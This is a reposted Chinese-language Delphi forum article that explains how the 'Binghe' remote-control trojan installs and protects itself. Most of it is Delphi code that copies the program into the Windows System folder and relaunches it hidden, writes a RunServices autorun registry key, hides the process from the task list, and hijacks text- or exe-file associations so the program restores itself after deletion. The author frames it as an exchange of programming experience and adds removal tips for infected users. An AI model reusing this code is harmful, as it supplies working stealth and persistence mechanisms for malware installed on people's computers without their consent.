冰河是有名的用C++Builder編寫的中國的國產遠端管理軟體 |
|
jackkcg
站務副站長 發表:891 回覆:1050 積分:848 註冊:2002-03-23 發送簡訊給我 |
此為轉貼資料 http://hong.w18.net/Articles/Other/Other2.htm
陳經 前言:我經常在雜誌和報刊上看到此類標題的文章,但大多是騙稿費的,沒有任何技術含量.於是一氣之下寫了這編東西.本人聲明如下:(一)本人對"冰河"及其作者沒有任何不滿,相反,作者肯幫助初學者的態度是我們每一個人都應該學習的.(二)本文的目的在於交流編程經驗,沒有任何其他不良企圖.(三)在一些領域,我們理應寧可自製力讓我們的預見力保持寂寞,也不要去做一個打開潘多拉盒子的先知。所以一些更厲害的方法我們現在不會提,以後也不會.--2000.8.3 (1) “冰河”是有名的用C Builder編寫的國產遠端管理軟體,其自我的功能保護很強,下面就以Delphi?例談一談它的原理,希望對大家有一些?發.
一、程式安裝
此類程式一般會把自己隱藏起來運行,通常不外乎以下幾種方法:自我拷貝法、資源檔案法、網頁方式安裝、類病毒捆綁法(如YAI).自我拷貝法適用於本身就一個文件,資源檔案法可以同時安裝好幾個文件,網頁方式安裝要先向M$交錢換安全簽證,類病毒捆綁法利用了病毒的原理.本文只介紹自我拷貝法,其他方法請到我的個人主頁去看.http://lovejingtao.126.com
1:自我拷貝法
這種方法的原理是程式運行時先查看自己是不是在特定目錄下,如果是就繼續運行,如果不是就把自己拷貝到特定目錄下,然後運行新程式,再退出舊程式.
打開Delphi,新建一個工程,在視窗的Create事件中寫代碼:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得檔案名
if application.Exename <> GetWindir myname then //如果文件不是在Windows\System\那?..
begin
copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定義函數,起功能是找出Windows\System\的路徑.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result '\';
end;
另外,?了避免同時運行多個程式的副本(節約系統資源也),程式一般會弄成每次只能運行一個.這又有幾種方法.
一種方法是程式運行時先查找有沒有相同的運行了,如果有,就立刻退出程式.
修改dpr專案文件,修改begin和end之間的代碼如下:
begin
Application.Initialize;
if FindWindow('TForm1','Form1')=0 then begin
//當沒有找到Form1時執行下面代碼
Application.ShowMainForm:=False; //不顯示主視窗
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
另一種方法是?動時會先通過窗口名來確定是否已經在運行,如果是則關閉原先的再?動。“冰河”就是用這種方法的。
這樣做的好處在於方便升級.它會自動用新版本覆蓋舊版本.
方法如下:修改dpr專案文件
uses
Forms,windows,messages,
Unit1 in 'Unit1.pas' {Form1}; ?了程式能在Windows每次?動時自動運行,可以通過六種途徑來實現.“冰河”用註冊表的方式。
加入Registry單元,改寫上面的視窗Create事件,改寫後的程式如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //獲得檔案名
if application.Exename <> GetWindir myname then //如果文件不是在Windows\System\那?..
begin
copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{//將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
?了讓程式用ALT DEL CTRL看不見,在implementation後添加聲明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隱藏 ?示1:當我們中了“冰河”,如果被對方上了密碼而無法自己卸載時,可以先找出是什?文件,然後自己配置一個沒有密碼的來運行,這樣它就會把原來有密碼的覆蓋掉,自己就可以輕鬆用它的卸載功能把它卸掉.如果你會編程,也可以自己寫一個"清除器"了,方法是先查找到窗口名,向它發送退出命令,再把它刪除即可. (2) “冰河”的自我功能保護很強,它一般通過Txt或Exe文件關聯來達到自我恢復.所以有很多人明明把它殺掉了,但重新?動時又會出現.下面舉以Txt文件關聯?例.
打開Delphi,新建一個工程,在視窗的Create事件中寫代碼:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin //******************************************************
with TRegistry.Create do //寫註冊表,讓程式跟文字檔案關聯
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtao,http://lovejingtao.126.com}
WriteString( '', application.ExeName ' "%1" ');
{Write by Lovejingtao,lovejingtao@21cn.com}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //寫註冊表,每次?動時自動運行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir 'Sysplay.exe'))=false then//如果文件已經刪除
begin
copyfile;//自定義拷貝資源檔案過程
winexec(pchar(Getwindir 'Sysplay.exe'),sw_hide);
end; //**********************************************************
if ParamCount>0 then begin (* 有執行參數傳入 *)
sFileName:=ParamStr(1); (* 取得參數內容 *)
winexec(pchar('Notepad.exe ' sFileName),sw_show);(*用記事本打開*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改?與Exe文件關聯,只要把"const K = '\txtfile\shell\open\command';"改?
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe ' sFileName),sw_show);"
改?"winexec(pchar( sFileName),sw_show);"即可.當然,還要加入是否退出Windows而運行的Rundll32.dll,
否則會因?關聯Exe文件而退不出Windows. ?示2:手工刪除“冰河”時,還要改掉它的保護功能,不能讓它恢復.如果是關聯了文字檔案,先改註冊表讓它不能自動運行,重?後不要打開文字檔案,立刻進到其安裝目錄把它刪除.如果是關聯了Exe文件,那只有回到Dos下刪.切記:一定要把兩個文件同時刪掉,否則你重?後會發現文件又恢復了. ★作者: 陳經韜
Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com 發表人 - jackkcg 於 2002/09/28 04:16:30
------
********************************************************** 哈哈&兵燹 最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知 K.表Knowlege 知識,就是本站的標語:Open our mind |
本站聲明 |
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。 2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。 3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇! |